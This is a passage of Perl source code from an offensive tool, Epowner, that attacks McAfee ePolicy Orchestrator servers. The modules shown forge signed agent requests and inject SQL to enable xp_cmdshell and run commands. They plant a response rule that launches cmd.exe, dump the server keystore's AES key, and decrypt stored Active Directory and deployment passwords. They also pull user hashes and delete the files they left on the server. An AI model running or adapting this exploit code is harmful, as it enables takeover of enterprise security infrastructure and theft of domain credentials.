(compatible; SPIPE/3.0; Windows)\r\n" . 80 | # "Accept: application/octet-stream\r\n" . 81 | # "Accept-Language: en-us\r\n" . 82 | # "Host: " . $this->{server_host} . "\r\n" . 83 | # "Content-Type: application/octet-stream\r\n" . 84 | # "Content-Length: " . length($binary_struct) . "\r\n" . 85 | # "\r\n" . 86 | # $binary_struct; 87 | # 88 | # return $http_req; 89 | } 90 | 91 | 92 | 93 | #==================================================================== 94 | # FUNCTION: Common : Generate Event HTTP Request 95 | #==================================================================== 96 | sub mode_common_generate_event_request{ 97 | 98 | my $this = shift; 99 | my $event_hostname = shift || $this->{agent_hostname}; # hostname can be used during --exec-server , to pass the os command. Max length: 266 chars 100 | my $event_dest_filename = shift || undef; # used for uploading file (dest filename) 101 | my $event_xml_content = shift || undef; # used for uploading file (content) 102 | 103 | # build data 104 | print " [+] Generating data structures\n" if $this->{verbose}; 105 | 106 | $this->build_struct_event_header1(); 107 | $this->build_struct_event_header2(); 108 | $this->build_struct_event_event($event_hostname, $event_dest_filename, $event_xml_content); 109 | 110 | 111 | # Compressing FULL Properties XML 112 | #==================================================================== 113 | print " [+] Compressing Event XML\n" if $this->{verbose}; 114 | my $data_compressed = compress_deflate($this->{event_xml}); 115 | 116 | 117 | # Updating various fields in binary_header1 118 | #==================================================================== 119 | print " [+] Updating various fields in binary_header1\n" if $this->{verbose}; 120 | 121 | # Update HEADER_LEN in "binary_header1" (little-endian) 122 | my $final_header_len = pack("V", length($this->{binary_header1}) + length($this->{binary_header2})); 123 | $this->{binary_header1} =~ s/WWWW/$final_header_len/; 124 | 125 | # Update DATA_LEN in "binary_header1" (little-endian) 126 | my $final_data_len = pack("V", length($data_compressed)); 127 | $this->{binary_header1} =~ s/ZZZZ/$final_data_len/; 128 | 129 | 130 | # XORing binary_header1 131 | #==================================================================== 132 | print " [+] XORing binary_header1\n" if $this->{verbose}; 133 | # XOR post_binary_header1 (because it's fun ?) 134 | my $binary_header1_xored = xor_str($this->{binary_header1}, 0xaa); 135 | 136 | 137 | 138 | # Generating DSA Signature 139 | #==================================================================== 140 | print " [+] Generating DSA Signature\n" if $this->{verbose}; 141 | my $signature = dsa_sign( 142 | $this->{binary_header1} . $this->{binary_header2} . $data_compressed , # to sign 143 | $this->{dsa_agent} # dsa object 144 | ); 145 | 146 | 147 | 148 | # Building final HTTP POST request 149 | #==================================================================== 150 | print " [+] Building final HTTP POST request\n" if $this->{verbose}; 151 | # Final binary package 152 | my $post_data= 153 | $binary_header1_xored . 154 | $this->{binary_header2} . 155 | $data_compressed . 156 | $signature; 157 | 158 | return $post_data; 159 | 160 | # Final HTTP request 161 | # my $http_req = 162 | # "POST /spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1\r\n" . 163 | # "User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)\r\n" . 164 | # "Accept: application/octet-stream\r\n" . 165 | # "Accept-Language: en-us\r\n" . 166 | # "Host: " . $this->{server_host} . "\r\n" . 167 | # "Content-Type: application/octet-stream\r\n" . 168 | # "Content-Length: " . length($binary_struct) . "\r\n" . 169 | # "\r\n" . 170 | # $binary_struct; 171 | # 172 | # return $http_req; 173 | } 174 | 175 | 176 | 177 | 1; 178 | -------------------------------------------------------------------------------- /Epowner/ModeDomainPasswd.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | #use MIME::Base64; 4 | #use Digest::SHA qw(sha1); 5 | #use URI::Escape; 6 | 7 | use strict; 8 | use warnings; 9 | 10 | 11 | 12 | sub mode_domain_credentials { 13 | 14 | my $this = shift; 15 | 16 | 17 | # Do we have privileged code execution ? 18 | if(not $this->have_srv_exec_priv()){ 19 | $this->print_err("[-] ERROR (mode_domain_credentials): You don't have sufficient RCE privileges to perform this action\n"); 20 | exit; 21 | } 22 | 23 | 24 | # do we already know the installation path of ePo ? 25 | if(not $this->{force} and not length($this->{server_db_folder}) ne 0){ 26 | $this->print_warn ("[-] WARNING: epo installation path is unknown. We know the default value but suggest you to\n"); 27 | $this->print_warn (" confirm it first using '--get-install-path'\n"); 28 | $this->print_warn (" You may also use '--force' to bypass this warning\n"); 29 | exit; 30 | } 31 | 32 | 33 | # GET SyncDir entries from DB 34 | #============================= 35 | $this->print_info("\n[*] Getting Encrypted SyncDir credentials\n"); 36 | my @syncdir = $this->mode_readdb_get_syncdir(); 37 | if(@syncdir == 0){ 38 | $this->print_warn ("[-] No SynDir passwords found in the database\n"); 39 | } 40 | 41 | # GET DeployAgent saved passwors 42 | #=============================== 43 | $this->print_info("\n[*] Getting Encrypted DeployAgents credentials\n"); 44 | my @deployagent = $this->mode_readdb_get_deployagent_creds(); 45 | if(@deployagent == 0){ 46 | $this->print_warn( "[-] No saved Deployment-Agents passwords found in the database\n"); 47 | } 48 | 49 | 50 | if(@syncdir == 0 and @deployagent == 0 ){ 51 | 52 | return; 53 | } 54 | 55 | # GET AES Key from keystore 56 | #============================ 57 | $this->print_info("\n[*] Getting AES-128 Key from orion.keystore\n"); 58 | $this->mode_gatherinfo_aes_key_from_orion_keystore(); 59 | my $aes_key = pack("H*", $this->{aes_symkey_keystore}); 60 | 61 | 62 | # Decrypt SyncDir entries 63 | #======================== 64 | if(@syncdir != 0){ 65 | $this->print_info("\n[*] Decrypting Active Directory Sync password(s)\n"); 66 | foreach my $sync (@syncdir){ 67 | my ($host, $dom, $user, $pass_enc) = split(/\|/, $sync); 68 | my $pass = $this->aes_ecb_decrypt(decode_base64($pass_enc), $aes_key); 69 | $this->print_data( " **** Active Directory Sync Pass ****\n"); 70 | $this->print_data( " Domain : $dom\n"); 71 | $this->print_data( " Username : $user\n"); 72 | $this->print_data( " Password : $pass\n"); 73 | } 74 | } 75 | 76 | # Decrypt DeployAgents entries 77 | #============================ 78 | if(@deployagent != 0){ 79 | 80 | $this->print_info("\n[*] Decrypting Deployment-Agent saved password(s)\n"); 81 | foreach my $entry (@deployagent){ 82 | my ($user, $pass_enc, $dom) = split(/\|/, $entry); 83 | my $pass = $this->aes_ecb_decrypt(decode_base64($pass_enc), $aes_key); 84 | $this->print_data( " **** Deployment Agents Pass ****\n"); 85 | $this->print_data( " Domain : $dom\n"); 86 | $this->print_data( " Username : $user\n"); 87 | $this->print_data( " Password : $pass\n"); 88 | } 89 | } 90 | 91 | return 1; 92 | 93 | } 94 | 1; 95 | -------------------------------------------------------------------------------- /Epowner/ModeGatherInfo.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Switch; 4 | use strict; 5 | use warnings; 6 | 7 | # git-issue-1 8 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE); 9 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0; 10 | 11 | 12 | sub mode_gatherinfo_aes_key_from_orion_keystore { 13 | 14 | my $this = shift; 15 | 16 | 17 | # Do we have privileged code execution ? 18 | if(not $this->have_srv_exec_priv()){ 19 | $this->print_err("[-] ERROR (mode_gatherinfo_aes_key_from_orion_keystore): You don't have sufficient RCE privileges to perform this action\n"); 20 | exit; 21 | } 22 | 23 | 24 | #=================== 25 | # GET AES Key 26 | #=================== 27 | 28 | # generate random filename for storing Java output 29 | my $out_rnd_file = '.txt'; 30 | my @chars=('0'..'9', 'a'..'z', 'A'..'Z'); 31 | foreach (1..4) { $out_rnd_file = $chars[rand @chars] . $out_rnd_file ; } 32 | 33 | # keystore location on server 34 | my $folder = $this->{server_tomcat_folder} || $this->{server_tomcat_folder_default}; 35 | my $keystore_path = $folder . "/keystore/orion.keystore"; 36 | 37 | # Java location on server 38 | $folder = $this->{server_install_folder} || $this->{server_install_folder_default} ; 39 | my $java_path = $folder . "/JRE/bin/java.exe"; 40 | 41 | # Dumpkey class file 42 | my $dumpkey_class = fileparse($this->{tool_dumpkey}); 43 | 44 | # Class path = DBFolder 45 | my $classpath = $this->{server_db_folder} || $this->{server_db_folder_default} ; 46 | 47 | # where to store AES key ? 48 | my $outfile_path = $classpath . "/Software/" . $out_rnd_file; 49 | 50 | 51 | # Upload DumpKey.call under DBFolder 52 | #====================================== 53 | $this->mode_server_upload_from_file( $this->{tool_dumpkey}, # source filename 54 | $dumpkey_class # dest filename 55 | ); 56 | 57 | 58 | # Open keystore and extract AES symKey. Save the key in $out_rnd_file 59 | #===================================================================== 60 | $dumpkey_class =~ s/\.class$//g; 61 | $this->mode_server_exec_send( 62 | "\"$java_path -classpath $classpath $dumpkey_class $keystore_path $outfile_path\"" 63 | ); 64 | 65 | 66 | # Download the random filename back (the AES Key) 67 | my $server_host = $this->{server_host}; 68 | my $server_port = $this->{server_port}; 69 | my $uri = "https://$server_host:$server_port/Software/$out_rnd_file"; 70 | my $aes_key = $this->http_poll_uri_get($uri); 71 | if( $aes_key eq 0){ 72 | print "ERROR: Can't download AES Key \n"; 73 | return 0; 74 | } 75 | 76 | my $db_folder = $this->{server_db_folder} || $this->{server_db_folder_default}; 77 | # delete temp file created on server 78 | $this->mode_server_exec_send( 79 | "del /F ${db_folder}\\Software\\${out_rnd_file} & " . 80 | "del /F ${db_folder}\\RepoCache\\${out_rnd_file} & " . 81 | "del /F ${db_folder}\\${dumpkey_class}.class " 82 | ); 83 | 84 | 85 | print "[*] AES-128 symKey extracted from ePo Keystore (saving): "; 86 | $this->print_info_l2(unpack("H*", $aes_key)); 87 | print "\n"; 88 | 89 | $this->{aes_symkey_keystore} = unpack("H*", $aes_key); 90 | 91 | return 1; 92 | 93 | } 94 | 95 | sub mode_gatherinfo_installation_path { 96 | 97 | my $this = shift; 98 | 99 | # Do we have privileged code execution ? 100 | if(not $this->have_srv_exec_priv()){ 101 | $this->print_err("[-] ERROR (mode_gatherinfo_installation_path): You don't have sufficient RCE privileges to perform this action\n"); 102 | exit; 103 | } 104 | 105 | 106 | $this->print_info_l1("[*] Call to ModeGatherInfo\n"); 107 | $this->print_info_l2(" Parameters: "); 108 | print "Retrieve DBFolder installation path\n"; 109 | 110 | 111 | my $db_folder = ''; 112 | my $all_folders = ''; 113 | 114 | my $server_host = $this->{server_host}; 115 | my $server_port = $this->{server_port}; 116 | 117 | my $get_request = HTTP::Request->new; 118 | $get_request->method('GET'); 119 | 120 | my $user_agent = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0, SSL_verify_mode => SSL_VERIFY_NONE }); 121 | 122 | # generate randown filename 123 | my @chars=('0'..'9', 'a'..'z', 'A'..'Z'); 124 | my $rnd_file = '.txt'; 125 | foreach (1..4) { $rnd_file = $chars[rand @chars] . $rnd_file ; } 126 | 127 | 128 | #================================================================== 129 | # Get 'DBFolder' from registry and write it under /Software/ 130 | #================================================================== 131 | $this->mode_server_exec_send( 132 | "\"for /f \"usebackq tokens=3\" %G in (`reg query \"HKLM\\Software\\network associates\\epolicy Orchestrator\" /v \"DBFolder\" 2^>NUL ^| findstr DBFolder`) do (echo %G > %G/Software/$rnd_file)\"" 133 | # "\"for /f \"usebackq tokens=3\" %G in (`reg query \"HKLM\\Software\\Wow6432Node\\network associates\\epolicy Orchestrator\" /v \"DBFolder\" 2^>NUL ^| findstr DBFolder`) do (echo %G > %G/Software/$rnd_file)\"" 134 | ); 135 | 136 | 137 | # Download the random filename 138 | my $uri = "https://$server_host:$server_port/Software/$rnd_file"; 139 | $db_folder = $this->http_poll_uri_get($uri); 140 | if(not $db_folder){ 141 | $this->print_err ("[-] ERROR (mode_gatherinfo_installation_path): can't get DBFolder entry from registry \n"); 142 | exit; 143 | } 144 | 145 | 146 | 147 | # check if we found DB in the path 148 | if($db_folder !~ /DB/){ 149 | print "[-] ERROR (mode_gatherinfo_installation_path): db_folder looks invalid '$db_folder'\n"; 150 | return 0; 151 | } 152 | 153 | # remove carriage return/newline/ending space 154 | $db_folder =~ s/\r\n//g; 155 | $db_folder =~ s/^\s+//g; 156 | $db_folder =~ s/\s+$//g; 157 | $db_folder =~ s/\//\\/g; 158 | 159 | # save it 160 | $this->{server_db_folder} = $db_folder; 161 | 162 | 163 | 164 | #================================================================================ 165 | # Get the others '*Folder' from registry , and save them under DBFolder\Software\ 166 | #================================================================================ 167 | 168 | # Make a new random file 169 | my $rnd_file2 = '.txt'; 170 | foreach (1..4) { $rnd_file2 = $chars[rand @chars] . $rnd_file2 ; } 171 | 172 | $this->mode_server_exec_send( 173 | "\"for /f \"usebackq tokens=1,3\" %G in (`reg query \"HKLM\\Software\\network associates\\epolicy Orchestrator\" 2^>NUL ^| findstr Folder`) do (echo %G---%H >> $db_folder\\Software\\$rnd_file2)\"" 174 | ); 175 | 176 | 177 | # Download the random filename 178 | $uri = "https://$server_host:$server_port/Software/$rnd_file2"; 179 | $all_folders = $this->http_poll_uri_get($uri); 180 | if(not $all_folders){ 181 | $this->print_err ("[-] ERROR (mode_gatherinfo_installation_path): can't get *Folder entries from registry \n"); 182 | exit; 183 | } 184 | 185 | 186 | 187 | # convert '/' into '\', remove spaces, newlines, etc .. 188 | # however, this works : "DEL C:\PROGRA~1\McAfee\EPOLIC~1\DB\FILE.txt" 189 | $all_folders =~ s/\r\n/@@/g; 190 | $all_folders =~ s/\s+//g; 191 | $all_folders =~ s/\//\\/g; 192 | 193 | 194 | # $all_folders looks like: 195 | # InstallFolder---C:\PROGRA~1\McAfee\EPOLIC~1@@TomcatFolder---C:\PROGRA~1\McAfee\EPOLIC~1\Server@@ApacheFolder---C:\PROGRA~1\McAfee\EPOLIC~1\Apache2 ... 196 | 197 | my @folders = split(/@@/, $all_folders); 198 | foreach my $f (@folders){ 199 | my ($key, $val) = split(/---/, $f); 200 | #print "key: '$key' , val: '$val'\n"; 201 | # Save them 202 | switch($key) { 203 | case "InstallFolder" { $this->{server_install_folder} = $val; } 204 | case "TomcatFolder" { $this->{server_tomcat_folder} = $val; } 205 | case "ApacheFolder" { $this->{server_apache_folder} = $val; } 206 | } 207 | } 208 | 209 | 210 | # delete temp file created on server 211 | $this->mode_server_exec_send( 212 | "del /F $db_folder\\Software\\$rnd_file & " . 213 | "del /F $db_folder\\Software\\$rnd_file2 & " . 214 | "del /F $db_folder\\RepoCache\\$rnd_file & " . 215 | "del /F $db_folder\\RepoCache\\$rnd_file2 " 216 | ); 217 | 218 | 219 | 220 | print "[*] Retrieved folders (saving..): \n"; 221 | print " InstallFolder: $this->{server_install_folder}\n"; 222 | print " DBFolder: $this->{server_db_folder}\n"; 223 | print " TomcatFolder: $this->{server_tomcat_folder}\n"; 224 | print " ApacheFolder: $this->{server_apache_folder}\n"; 225 | 226 | 227 | } 228 | 1; 229 | -------------------------------------------------------------------------------- /Epowner/ModeReadDB.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Text::SimpleTable; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | sub mode_readdb_get_servername{ 10 | 11 | my $this = shift; 12 | 13 | $this->mode_readdb_banner(); 14 | $this->print_info_l2(" Parameters: "); 15 | print "Retrieving server hostname \n"; 16 | 17 | #prepare SQL Injection 18 | my $sqli = $this->sql_prepare_select( 19 | "select ComputerName from dbo.EPOServerInfo;" 20 | ); 21 | 22 | # Go 23 | my @results = $this->sql_execute($sqli); 24 | 25 | if(@results ne 0){ 26 | print " [+] ServerName: " . $results[0] . "\n" if $this->{verbose}; 27 | $this->{server_servername} = $results[0]; 28 | } 29 | } 30 | 31 | 32 | 33 | sub mode_readdb_get_mssql_whoami{ 34 | 35 | my $this = shift; 36 | 37 | #prepare SQL Injection 38 | my $sqli = $this->sql_prepare_select( 39 | " exec master.dbo.xp_cmdshell 'whoami';" 40 | ); 41 | 42 | # Go 43 | my @results = $this->sql_execute($sqli); 44 | 45 | if(@results ne 0){ 46 | print " [+] Who Am I ? : " . $results[0] . "\n" if $this->{verbose}; 47 | $this->{server_mssql_whoami} = $results[0]; 48 | return 1; 49 | } 50 | return 0; 51 | } 52 | 53 | 54 | sub mode_readdb_get_mssql_runas_priv{ 55 | 56 | my $this = shift; 57 | 58 | #prepare SQL Injection 59 | my $sqli = $this->sql_prepare_select( 60 | " exec master.dbo.xp_cmdshell 'reg query \"HKU\\S-1-5-19\"';" 61 | ); 62 | 63 | # Go 64 | my @results = $this->sql_execute($sqli); 65 | 66 | if(@results ne 0){ 67 | print " [+] req query returned : " . $results[0] . "\n" if $this->{verbose}; 68 | # $this->{server_mssql_whoami} = $results[0]; 69 | if($results[0] =~ /Access is denied/){ 70 | return 0; 71 | }else{ 72 | return 1; 73 | } 74 | } 75 | return 0; 76 | } 77 | 78 | 79 | 80 | sub mode_readdb_print_agents{ 81 | 82 | my $this = shift; 83 | 84 | # get agents 85 | my @results = $this->mode_readdb_get_agents(); 86 | 87 | if(@results ne 0){ 88 | $this->print_ok ("[*] Got data !\n"); 89 | 90 | my $t = Text::SimpleTable->new( [15, 'HostName'], 91 | [30, 'FQDN'], 92 | [50, 'OS'], 93 | [15, 'Username'], 94 | [15, 'IP addr'], 95 | [14, 'Last seen'] 96 | ); 97 | 98 | foreach my $res (@results){ 99 | my ($ParentId, $ComputerName, $Hostname, $OSType, $OSPlatform , $OSVersion, $OSServicePackVer, $UserName , $IPv4, $LastSeen) = split(/\|/,$res); 100 | my $OS = $OSType . " ". $OSPlatform . " " . $OSVersion . " " . $OSServicePackVer; 101 | $t->row( $ComputerName || "N/A", 102 | $Hostname || "N/A", 103 | $OS || "N/A", 104 | $UserName || "N/A" , 105 | $IPv4 || "N/A", 106 | $LastSeen || "N/A" 107 | ); 108 | } 109 | $this->print_data ($t->draw()); 110 | }else{ 111 | $this->print_err ("[-] No data were found..\n"); 112 | } 113 | 114 | return 1; 115 | 116 | 117 | 118 | } 119 | 120 | sub mode_readdb_get_syncdir { 121 | 122 | my $this = shift; 123 | 124 | $this->mode_readdb_banner(); 125 | $this->print_info_l2(" Parameters: "); 126 | print "Retrieving Active Directory Sync credentials\n"; 127 | 128 | #prepare SQL Injection 129 | my $sqli = $this->sql_prepare_select( 130 | "select server + '|' + authServer + '|' + authUser + '|' + authPassword from dbo.EPOSyncDir ;" 131 | ); 132 | 133 | # Go 134 | my @results = $this->sql_execute($sqli); 135 | return (@results); 136 | } 137 | 138 | 139 | sub mode_readdb_get_deployagent_creds { 140 | 141 | my $this = shift; 142 | 143 | $this->mode_readdb_banner(); 144 | $this->print_info_l2(" Parameters: "); 145 | print "Retrieving Deployment-Agents saved credentials\n"; 146 | 147 | #prepare SQL Injection 148 | my $sqli = $this->sql_prepare_select( 149 | # Thanks to Alaeddine Mesbahi for this SQL statement 150 | "select Value + '|' + " . 151 | "(select Value from OrionPersonalPreferences t2 where t1.UserId=t2.UserId and t2.Name='computermgmt.deployagent.credentials.pwd') + '|' + " . 152 | "(select Value from OrionPersonalPreferences t3 where t1.UserId=t3.UserId and t3.Name='computermgmt.deployagent.credentials.domain') " . 153 | "from OrionPersonalPreferences as t1 where Name = 'computermgmt.deployagent.credentials.name' ;" 154 | ); 155 | 156 | # Go 157 | my @results = $this->sql_execute($sqli); 158 | return (@results); 159 | } 160 | 161 | 162 | 163 | sub mode_readdb_get_agents { 164 | 165 | my $this = shift; 166 | 167 | $this->print_info("\n[*] Getting Agent list\n"); 168 | $this->mode_readdb_banner(); 169 | $this->print_info_l2(" Parameters: "); 170 | print "Retrieving Agent list\n"; 171 | 172 | #prepare SQL Injection 173 | my $sqli = $this->sql_prepare_select( 174 | "select cast(prop.ParentId as varchar(11)) + '|' + prop.ComputerName + '|' + prop.IPHostname + '|' + prop.OSType + '|' + prop.OSPlatform + '|' " . 175 | "+ prop.OSVersion + '|' + prop.OSServicePackVer + '|' + prop.UserName + '|' + prop.IPAddress + '|' " . 176 | "+ LEFT(DATENAME(MM, leaf.LastUpdate),3) + ' ' + RIGHT('0'+DATENAME(DD, leaf.LastUpdate),2) + ' ' + SUBSTRING(CONVERT(varchar,leaf.LastUpdate,0),13,7) " . 177 | "from dbo.EPOComputerProperties as prop, EPOLeafNode as leaf where prop.ParentID = leaf.AutoID and leaf.Managed = 1;" 178 | 179 | 180 | # "select cast(ParentId as varchar(11)) + '|' + ComputerName + '|' + IPHostname + '|' + OSType + '|' + OSPlatform + '|' + OSVersion " . 181 | # "+ '|' + OSServicePackVer + '|' + UserName + '|' + IPAddress from dbo.EPOComputerProperties;" 182 | ); 183 | 184 | # Go 185 | my @results = $this->sql_execute($sqli); 186 | return (@results); 187 | } 188 | 189 | 190 | sub mode_readdb_print_users{ 191 | 192 | my $this = shift; 193 | 194 | $this->print_info("\n[*] Getting accounts information\n"); 195 | $this->mode_readdb_banner(); 196 | $this->print_info_l2(" Parameters: "); 197 | print "Retrieving user hashes\n"; 198 | 199 | #prepare SQL Injection 200 | my $sqli = $this->sql_prepare_select( 201 | "select Name + '|' + AuthURI from dbo.OrionUsers;" 202 | ); 203 | 204 | # Go 205 | my @results = $this->sql_execute($sqli); 206 | 207 | if(@results ne 0){ 208 | $this->print_ok ("[*] Got data !\n"); 209 | 210 | my $t = Text::SimpleTable->new( [25, 'Username'], 211 | [60, 'AuthURI'], 212 | ); 213 | 214 | foreach my $res (@results){ 215 | my ($user, $hash) = split(/\|/,$res); 216 | $t->row($user, $hash); 217 | } 218 | $this->print_data ($t->draw()); 219 | print "Hash format is 'uri_escape(base64(SHA1()))' where is 4 bytes length.\n"; 220 | }else{ 221 | $this->print_err ("[-] No data were found..\n"); 222 | } 223 | 224 | return 1; 225 | 226 | 227 | 228 | } 229 | 230 | 231 | sub mode_readdb_banner{ 232 | my $this = shift; 233 | $this->print_info_l1("[*] Call to ModeReadDB\n"); 234 | } 235 | 236 | 237 | 238 | 239 | #==================================================================== 240 | # PRINT QUERY RESULT 241 | #==================================================================== 242 | sub mode_readdb_manual_sql_query{ 243 | 244 | my $this = shift; 245 | my $query = shift; # SQL statement 246 | 247 | # banner mode 248 | $this->mode_readdb_banner(); 249 | $this->print_info_l2(" Parameters: "); 250 | print "Custom SQL query: $query\n"; 251 | 252 | # get query results 253 | my $sqli = $this->sql_prepare_select($query); 254 | my @results = $this->sql_execute($sqli); 255 | 256 | if(@results ne 0){ 257 | # draw result 258 | $this->print_ok ("[*] Got data !\n"); 259 | my $t = Text::SimpleTable->new( [100, 'Result'] ); 260 | foreach my $res (@results){ 261 | $t->row($res || "N/A"); 262 | } 263 | $this->print_data ($t->draw()); 264 | }else{ 265 | $this->print_err ("[-] No data were found..\n"); 266 | } 267 | 268 | return 1; 269 | } 270 | 271 | 1; 272 | -------------------------------------------------------------------------------- /Epowner/ModeSQL.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Text::SimpleTable; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | 10 | sub mode_sql_banner{ 11 | my $this = shift; 12 | $this->print_info_l1("[*] Call to ModeSQL\n"); 13 | } 14 | 15 | 16 | 17 | #==================================================================== 18 | # MANUAL SQL QUERY - WITHOUT OUTPUT (ex: insert, update, delete,..) 19 | #==================================================================== 20 | sub mode_sql_query_without_results{ 21 | 22 | my $this = shift; 23 | my $query = shift; # SQL statement 24 | 25 | # banner mode 26 | $this->mode_sql_banner(); 27 | $this->print_info_l2(" Parameters: "); 28 | print "SQL query: $query\n"; 29 | 30 | # get query results 31 | my $sqli = $this->sql_prepare_non_select($query); 32 | $this->sql_execute($sqli); 33 | 34 | $this->print_ok ("[*] Done\n"); 35 | 36 | return 1; 37 | } 38 | 39 | 40 | 41 | #==================================================================== 42 | # MANUAL SQL QUERY - WITH OUTPUT (ex: select statements) 43 | #==================================================================== 44 | sub mode_sql_query_with_results{ 45 | 46 | my $this = shift; 47 | my $query = shift; # SQL statement 48 | 49 | # banner mode 50 | $this->mode_sql_banner(); 51 | $this->print_info_l2(" Parameters: "); 52 | print "SQL query: $query\n"; 53 | 54 | # get query results 55 | my $sqli = $this->sql_prepare_select($query); 56 | my @results = $this->sql_execute($sqli); 57 | 58 | if(@results ne 0){ 59 | # draw result 60 | $this->print_ok ("[*] Got data !\n"); 61 | my $t = Text::SimpleTable->new( [100, 'Result'] ); 62 | foreach my $res (@results){ 63 | $t->row($res || "N/A"); 64 | } 65 | $this->print_data ($t->draw()); 66 | }else{ 67 | $this->print_err ("[-] No data were found..\n"); 68 | } 69 | 70 | return 1; 71 | } 72 | 73 | 1; 74 | -------------------------------------------------------------------------------- /Epowner/ModeServerExec.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use URI::Escape; 4 | use Term::ANSIColor; 5 | 6 | use strict; 7 | use warnings; 8 | 9 | 10 | 11 | sub mode_server_exec_notdba_setup_get_sql_statement{ 12 | my $this = shift; 13 | my $cmdName = shift; # the name of the Registered EXE in DB 14 | 15 | my $guid = $this->{agent_guid}; 16 | $guid =~ s/{|}//g; 17 | 18 | 19 | # Virus detected event 20 | my $eventid = 2412; 21 | 22 | my $sqli = 23 | "" . 24 | "') ; " . 25 | "INSERT INTO [dbo].[EPOAlertRegisteredExe] (Name, Path) VALUES ('$cmdName', 'C:\\WINDOWS\\system32\\cmd.exe') ; " . 26 | "INSERT INTO [dbo].[OrionResponseRule] (AggregationURI,AggregationWindowURI,ConditionURI, CreatedBy, CreatedOn,ModifiedBy,ModifiedOn,Description, Enabled, EventType,GroupingURI,ThrottlingURI, Name, ActionsURIs, Locale) VALUES (" . 27 | "''," . # AggregationURI 28 | "''," . # AggregationWindowURI 29 | "'rule:condition?conditionSexp=%28+where+%28+and+%28+eq+epoClientStatusEvent.agentGUID+%22$guid%22+%29+%28+eq+epoClientStatusEvent.tVDEventID+$eventid++%29+%29+%29&requiredFilter=%28+where+%28+descendsFrom+epoClientStatusEvent.definedAt+%222%22+%29+%29'," . # ConditionURI 30 | "'admin' ," . # CreatedBy 31 | "'2012-12-09 00:40:50.963' ," . # CreatedOn 32 | "'system'," . 33 | "'2012-12-10 16:35:47.447'," . 34 | "''," . # Description 35 | "1," . # Enabled 36 | "'epoClientStatusEvent' ," . # EventType 37 | "''," . # GroupingURI 38 | "''," . # ThrottlingURI 39 | "'$cmdName' ," . # Name 40 | "'command:alert.response.externalCmd?timeLimit=60000&cmdName=$cmdName&cmdArgs=%2Fc+{hostName}' ," . # ActionsURIs, the arg is '/c {hostName}' 41 | # {hostName} value will be received later from an Event sent by the agent 42 | "'en'); " . # Locale 43 | " -- " . 44 | ""; 45 | 46 | 47 | return $sqli 48 | } 49 | 50 | 51 | sub mode_server_exec_wizard { 52 | my $this = shift; 53 | 54 | # Test if we have remote code exec on the ePo server and which mode to use. 55 | 56 | 57 | my $sec = 15; 58 | my $check_for_nondba = 0; 59 | my $add_admin = 0; 60 | 61 | # TEST XP_CMDSHELL (PING ) 62 | # Goal: check if we are DBA 63 | 64 | print "\n"; 65 | 66 | $this->print_info ("[*] Testing for XP_CMDSHELL availability\n"); 67 | $this->print_info_l2(" (xp_cmdshell 'ping -n $sec 127.0.0.1')\n"); 68 | # print colored("[*] Testing for xp_cmdshell availability using \"xp_cmdshell 'ping -n $sec 127.0.0.1'\"\n", 'cyan'); 69 | 70 | my $sqli_ping = "') " . 71 | "EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; " . 72 | "EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE ; " . 73 | "EXEC master.dbo.xp_cmdshell 'ping -n $sec 127.0.0.1'; --" ; 74 | 75 | my $http_request = $this->mode_common_generate_fullprops_request($sqli_ping); 76 | 77 | my $time_start = time(); 78 | $this->send_http_request($http_request); 79 | my $time_stop = time(); 80 | 81 | my $delay = $time_stop - $time_start; 82 | if($delay < ($sec - 2)){ 83 | my $str = sprintf "[-] Not good... Elapsed time: %.3f seconds (expected +/- $sec)\n", $delay; 84 | $this->print_warn($str); 85 | $this->print_warn(" xp_cmdshell doesn't seems available with the current SQL privileges... \n"); 86 | 87 | $this->{server_is_dba} = 0; 88 | $check_for_nondba = 1; 89 | 90 | }else{ 91 | 92 | # XP_CMSHELL is available ! 93 | 94 | my $str = sprintf "[+] Looks good !! Elapsed time: %.3f seconds\n", $delay; 95 | print $str; 96 | 97 | # WE ARE DBA ! 98 | $this->print_ok("[+] It appears that xp_cmdshell is available with the current SQL privs\n"); 99 | $this->{server_is_dba} = 1; 100 | 101 | # TESTING XP_CMDSHELL 'WHOAMI' 102 | # Goal: - Do we have SYSTEM or Network Service priv ? 103 | 104 | print "\n"; 105 | $this->print_info("[*] Getting current SQL 'runas' account using \"xp_cmdshell 'whoami'\"\n"); 106 | 107 | if($this->mode_readdb_get_mssql_whoami()){ 108 | print "[+] Whoami returned: '" ; $this->print_info_l2($this->{server_mssql_whoami}); print "'\n"; 109 | }else{ 110 | $this->print_warn("[-] Whoami didn't succeed\n"); 111 | } 112 | 113 | print "\n"; 114 | $this->print_info("[*] Testing our privileges using 'reg query \"HKU\\S-1-5-19\"'\n"); 115 | if($this->mode_readdb_get_mssql_runas_priv()){ 116 | $this->print_ok("[+] OK, We have HIGH privileges by using xp_cmdshell ! :)\n"); 117 | $this->{srv_exec_mode} = 1; # Use DBA mode as default 118 | $this->{srv_exec_priv} = 1; 119 | 120 | }else{ 121 | 122 | $this->print_warn("[-] WARN: We have LIMITED privileges using xp_cmdshell\n"); 123 | $this->print_warn(" Multiple actions/modes in this tool require high privileges .. \n"); 124 | $check_for_nondba = 1; 125 | $this->{srv_exec_mode} = 1; # Use DBA mode as default. Can be overwritten later 126 | $this->{srv_exec_priv} = 0; 127 | } 128 | 129 | } 130 | 131 | 132 | if($check_for_nondba ) { 133 | 134 | # We do not have DBA priv, or it is without SYSTEM priv. 135 | # Last chance for RCE is to use non-DBA mode (automatic response rule). Requirment: Web console access 136 | 137 | print "\n"; 138 | $this->print_info("[*] Trying to setup Remote Code Exec using another method (without xp_cmdshell)\n"); 139 | 140 | if ($this->{state_exec_nondba_setup}){ 141 | 